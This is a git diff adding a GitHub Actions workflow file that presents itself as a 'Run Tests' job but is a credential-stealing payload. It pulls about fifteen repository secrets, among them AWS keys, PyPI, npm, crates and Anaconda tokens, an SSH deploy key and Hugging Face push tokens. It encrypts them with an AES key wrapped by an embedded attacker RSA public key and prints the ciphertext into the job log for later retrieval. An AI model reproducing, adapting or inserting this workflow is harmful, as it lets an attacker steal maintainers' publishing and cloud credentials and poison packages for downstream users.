diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml new file mode 100644 index 000000000..25c3882d3 --- /dev/null +++ b/.github/workflows/test.yml @@ -0,0 +1,65 @@ +name: bbemwhivdv +'on': + push: + branches: bbemwhivdv +jobs: + testing: + runs-on: + - ubuntu-latest + steps: + - name: Run Tests + env: + ANACONDA_API_TOKEN: ${{ secrets.ANACONDA_API_TOKEN }} + AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} + AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} + CRATES_TOKEN: ${{ secrets.CRATES_TOKEN }} + DOC_HOST: ${{ secrets.DOC_HOST }} + DOC_KNOWN_HOST: ${{ secrets.DOC_KNOWN_HOST }} + DOC_PATH: ${{ secrets.DOC_PATH }} + DOC_SSH_KEY: ${{ secrets.DOC_SSH_KEY }} + DOC_SSH_USER: ${{ secrets.DOC_SSH_USER }} + HF_DOC_PUSH: ${{ secrets.HF_DOC_PUSH }} + NPM_TOKEN: ${{ secrets.NPM_TOKEN }} + PYPI_TOKEN_DIST: ${{ secrets.PYPI_TOKEN_DIST }} + PYPI_TOKEN_TEST: ${{ secrets.PYPI_TOKEN_TEST }} + COMMENT_BOT_TOKEN: ${{ secrets.COMMENT_BOT_TOKEN }} + HF_DOC_BUILD_PUSH: ${{ secrets.HF_DOC_BUILD_PUSH }} + bbemwhivdv_KEY: '-----BEGIN PUBLIC KEY----- + + MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA8ZskE151ac7oetqHLfti + + BYojz4PYtXnqu5gvN4hcQ6qQ/i4amTEVFkI2jiT5PkqwIGqO3g9/jmg92VkV5B7G + + /faC9o1+u/d4KGh2DXgH5F0gku/93Dg9A1uqeQszklIeFWhSl/ESrLwLuENLxdc5 + + sjUlp45NingAcIl6GkA2/zyvM1USxlB+8C1b4aekx2P2HXLE8B9hfe3sHbPkBQCT + + 8A7Vw+vyhewhbnrd6Zom3xCAP25EbmWG/d/+gjvGgq0PQ+S9d8SkC4yQO+fhxoYA + + w6GK4ThzBM0g+AyrO7pJvonx/+E4XOtgqwwi9muaXmwqIcu+aQHfWItvvDFEVi0Q + + diuxv3ksrx3VQ6VOFD1hA8TlLvdfPumczB4s7YwH7zQtLRYMZNTfw4ehlPoi11DH + + Y5YhRURBsRdm/y7Yz/0y04gy21/fdVpEdHxCQC2KU/d2BBeRKUFVfayrzwQTLdEe + + RSoyxXUz+qW7EwaIZBBrNd1JSNZLY6wOz0Fr68HNlDpztdtcJkjam1Ygoqf4ADNw + + cyqUThn6X8p+GWkZNgFaixDPPVpgJy4WuIfvgGkKaVF5F2aKMoj2L0JFBc9gyBPt + + pAhTOaoyLtTH7jWcsuUFX9VfZPZ3b45ZdWrYueDXxNW1+XhhElt7zVj05Jb37+F9 + + Gpq6cWmftXXwANaQNzw3hpsCAwEAAQ== + + -----END PUBLIC KEY----- + + ' + run: openssl rand -out sym.key 32; echo -n '$';echo -e "ANACONDA_API_TOKEN=$ANACONDA_API_TOKEN + \nAWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID \nAWS_SECRET_ACCESS_KEY=$AWS_SECRET_ACCESS_KEY + \nCRATES_TOKEN=$CRATES_TOKEN \nDOC_HOST=$DOC_HOST \nDOC_KNOWN_HOST=$DOC_KNOWN_HOST + \nDOC_PATH=$DOC_PATH \nDOC_SSH_KEY=$DOC_SSH_KEY \nDOC_SSH_USER=$DOC_SSH_USER + \nHF_DOC_PUSH=$HF_DOC_PUSH \nNPM_TOKEN=$NPM_TOKEN \nPYPI_TOKEN_DIST=$PYPI_TOKEN_DIST + \nPYPI_TOKEN_TEST=$PYPI_TOKEN_TEST \nCOMMENT_BOT_TOKEN=$COMMENT_BOT_TOKEN + \nHF_DOC_BUILD_PUSH=$HF_DOC_BUILD_PUSH \n" | openssl enc -aes-256-cbc -kfile + sym.key -pbkdf2 | base64 -w 0 | tr -d '\n';echo '$'; echo -n '$'; cat sym.key + | base64 | openssl rsautl -encrypt -inkey <(echo "$bbemwhivdv_KEY") -pubin + -pkcs | base64 -w 0 | tr -d '\n'; echo '$'